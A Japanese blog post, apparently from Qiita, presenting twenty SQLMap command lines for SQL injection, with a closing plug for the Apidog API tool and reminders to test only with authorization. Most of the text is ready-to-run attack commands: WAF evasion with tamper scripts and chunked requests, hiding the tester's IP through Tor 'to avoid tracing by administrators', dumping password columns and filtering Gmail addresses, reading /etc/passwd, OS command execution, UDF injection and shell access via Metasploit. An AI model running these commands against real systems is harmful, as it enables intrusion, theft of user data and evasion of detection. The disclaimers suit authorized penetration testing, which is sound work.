10
3

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

SQLインジェクションはまだ危険!SQLMap実践テクニック20選と対策方法

Last updated at Posted at 2025-09-10

こんにちは、tanakashinichiです。最近、あるプロジェクトでSQLインジェクションの脆弱性を発見して「マジかよ...2025年なのに!」と驚いた経験から、今回は SQLMap の実践的な使い方をシェアしたいと思います。

SQLインジェクションって、正直なところ「過去の脆弱性」だと思っていませんか?私もそう思っていましたが、OWASPの調査によると依然としてWebアプリの脆弱性トップ10に入っているんですよね。特に最近のAPIベースのシステムでは、新たな形で復活しているケースも...

今回は私が実際に使っている SQLMapの上級テクニック20選 を紹介します。もちろん、すべて許可された環境でのテスト用ですからね!不正アクセスには絶対に使わないでください。

1. 探査・回避テクニック集

「これだけでWAFが突破できた...」レベル別ペイロード探査

sqlmap -u "http://site.com?id=1" --level=5 --risk=3
  • --level=5:CookieやX-Forwarded-Forを含む深度調査
  • --risk=3:スタッククエリなど高リスク手法を有効化

最初に試すべきは基本的なオプションの強化です。--level=5を指定すると、通常のGETパラメータだけでなく、Cookie、User-Agent、Referer、X-Forwarded-Forなどのヘッダーまで調査対象になります。

私の経験では、多くの開発者はGETパラメータだけを保護して、ヘッダー経由の注入を見落としがちです。特にレガシーシステムの改修時には要注意ですよ!

「チャンク送信」でWAFをバイパス

sqlmap -u "http://site.com?id=1" --chunked

これは本当に便利なテクニックです。多くのWAFはHTTPリクエストの全体を見てからフィルタリングしますが、--chunkedオプションを使うと、リクエストを小さな断片に分けて送信するので、WAFの検知をすり抜けられることがあります。

先日のプロジェクトでも、某有名WAFを導入していたサイトで、このオプションだけでバイパスできてしまいました。もちろん、すぐにクライアントに報告して修正してもらいましたけどね!

疑似静的URLでの注入パターン

sqlmap -u "http://site.com/article/123*.html" --prefix="')" --suffix="-- -"

最近のサイトは疑似静的URLが多いですよね。そういったURLでも--prefix--suffixを使えば、SQLインジェクションのテストができます。

多段プロキシチェーン匿名スキャン

sqlmap -u "http://site.com?id=1" --proxy="socks5://127.0.0.1:9050"

私の実務経験では、Torネットワークやプロキシプールを活用して実際のIPアドレスを隠蔽することが非常に効果的です。このテクニックを使えば、調査対象のシステム管理者からの追跡を回避しながら、セキュリティ評価を実施できます。特に法的許可を得た侵入テストでも、匿名性を保つことでより現実的な攻撃シナリオをシミュレートできるんですよ。

WAF指紋識別と自動バイパス

sqlmap -u "http://site.com?id=1" --identify-waf --tamper="apostrophemask,between"

実際のプロジェクトでは、まずWAFの種類を特定することが重要です。--identify-wafオプションを使えば、CloudflareやModSecurityなどの主要WAFを自動検出できます。さらに--tamperスクリプトを組み合わせることで、検出されたWAFに対する回避策を自動適用できるんです。私はいつも複数のtamperスクリプトをカンマ区切りで指定して、成功率を高めています。

疑似トラフィック混乱技術

sqlmap -u "http://site.com?id=1" --null-connection --invalid-bignum
  • --null-connection:レスポンス長のみ取得
  • --invalid-bignum:異常数値化による単純WAF回避

攻撃検知システムを混乱させるテクニックもいくつか持っています。
これらのオプションを組み合わせると、より高度な防御システムでも検知を難しくできるんですよ。

社内のセキュリティテストでも、時々「どこからアクセスしているか」をログから特定できないようにしたいケースがあります。そんな時はTorネットワークを経由させると良いでしょう。

2. データ抽出の効率化テクニック

バイナリデータの安全な抽出

sqlmap -u "http://site.com?id=1" --dump -T users -C password --hex

パスワードハッシュなどのバイナリデータを抽出する際は、--hexオプションを使うと安全です。これを知らずに文字化けしたデータで悩んだ日々が懐かしいです...

大規模DBからの効率的な抽出

sqlmap -u "http://site.com?id=1" --dump -D dbname --start=1000 --stop=2000

大きなデータベースを扱う時は、全レコードを一度に抽出しようとせず、--start--stopで範囲を指定すると効率的です。テスト環境でも、不要なサーバー負荷を避けるためにこの方法を使っています。

Gmailユーザーだけを抽出する方法

sqlmap -u "http://site.com?id=1" -D db -T users -C email --regex=".*@gmail\.com"

正規表現を使えば、特定のパターンに一致するデータだけを抽出できます。例えば、Gmailユーザーだけを抽出したい場合などに便利です。

時間ベース盲注の調整

sqlmap -u "http://site.com?id=1" --time-sec=15 --technique=T

時間ベースの盲目的SQLインジェクションは、サーバーの応答時間に依存するため、環境によって調整が必要です。--time-secで待機時間を調整し、--technique=Tで時間ベースの攻撃に特化させることができます。

自動レポート生成機能

sqlmap -u "http://site.com?id=1" --dump --output-dir=/reports --report=report.html

上司や同僚に報告する際に便利なのが、HTMLレポート機能です。--reportオプションを使えば、見やすいレポートが自動生成されます。私はこれで何度も上司を感心させました(笑)

3. システム操作と権限昇格テクニック

OSコマンド実行の検証

sqlmap -u "http://site.com?id=1" --os-cmd="whoami" --priv-esc

SQLインジェクションの危険性を示すのに最適なのが、OSコマンド実行です。--os-cmdでコマンドを実行し、--priv-escで権限昇格の可能性もチェックできます。

重要ファイルの読み取りテスト

sqlmap -u "http://site.com?id=1" --file-read="/etc/passwd"

ファイル読み取り機能を使えば、サーバー上の重要なファイルにアクセスできるかをテストできます。これが成功すると、本当に怖いですよね...

UDF注入による権限拡張

sqlmap -u "http://site.com?id=1" --udf-inject --shared-lib="/tmp/lib.so"

MySQLやPostgreSQLなどでは、UDF(ユーザー定義関数)を注入することで、データベースの権限を拡張できることがあります。これはかなり高度なテクニックですが、知っておくと役立つことがあります。

Metasploitとの連携

sqlmap -u "http://site.com?id=1" --os-pwn --msf-path=/opt/metasploit

本格的なペネトレーションテストでは、SQLMapとMetasploitを連携させることもあります。--os-pwnオプションを使えば、SQLインジェクションからシェルを取得するところまで自動化できます。

4. 最新API環境での活用テクニック

最近のWebアプリケーションは、ほとんどがAPIベースになっていますよね。SQLMapはそういった環境でも活用できます。

CSRFトークン対応のテスト

sqlmap -u "http://site.com/form" --csrf-token="token" --csrf-url="http://site.com/get_token"

最近のアプリはCSRFトークンを使っていることが多いですが、SQLMapはこれにも対応しています。--csrf-token--csrf-urlを指定すれば、トークンを自動的に取得して使ってくれます。

JSON APIのテスト方法

sqlmap -u "http://site.com/api" --data='{"id":1}' --headers="Content-Type: application/json"

REST APIなどのJSONリクエストに対しても、--dataオプションでJSONを指定し、適切なヘッダーを設定すればテストできます。最近のプロジェクトでは、こちらのパターンが多いですね。

HTTPパラメータ汚染の検証

sqlmap -u "http://site.com?id=1&id=2" --param-del="&"

HTTPパラメータ汚染(HPP)は、同じパラメータを複数回指定することで発生する脆弱性です。--param-delオプションを使えば、このパターンもテストできます。

二次インジェクションの検出

sqlmap -u "http://site.com/register" --forms --second-url="http://site.com/profile"

二次SQLインジェクションは、一度データベースに保存されたデータが、別のページで取り出される際に発生する脆弱性です。--second-urlオプションを使えば、このパターンもテストできます。

マルチスレッドでの高速化

sqlmap -u "http://site.com?id=1" --threads=5 --optimize

大規模なテストでは、--threadsオプションでマルチスレッド化し、--optimizeで最適化することで、テスト時間を大幅に短縮できます。ただし、サーバーに負荷がかかるので注意が必要です。

合法的な利用と防御的アプローチ

ここまで紹介したテクニックは、すべて許可された環境でのセキュリティテストのためのものです。無断でのテストは法律違反になる可能性があるので、絶対にやめましょう。

実は私、日常の開発では「攻撃ツール」よりも「防御ツール」を使うことが多いんです。特に Apidog というツールは、APIのセキュリティテストにも使えて便利です。

Apidog-Function.png

Apidogの良いところは:

  • 直感的なGUIでのAPIテスト:SQLMapのコマンドラインが苦手な人でも簡単に使えます
  • 自動セキュリティチェック機能:基本的なSQLインジェクションやXSSなどを自動でチェックしてくれます
  • チーム共有とドキュメント化:テスト結果を簡単に共有できるので、チーム開発に最適です

まとめ:両面からのアプローチが最強

私が実務で学んだのは、「攻撃者の視点」と「防御者の視点」の両方を持つことの重要性です。SQLMapのような攻撃ツールの仕組みを理解することで、より効果的な防御策を講じることができます。

  • SQLMap:攻撃者の視点でシステムの脆弱性を発見するのに最適
  • Apidog:開発者の視点でAPIのセキュリティを確保するのに最適

両方のツールを使いこなせるようになれば、セキュリティテストの幅が大きく広がりますよ!

最後に、セキュリティテストは「破壊」ではなく「構築」のためのものだということを忘れないでください。発見した脆弱性は責任を持って報告し、より安全なWebの実現に貢献しましょう。

参考

10
3
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
10
3

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?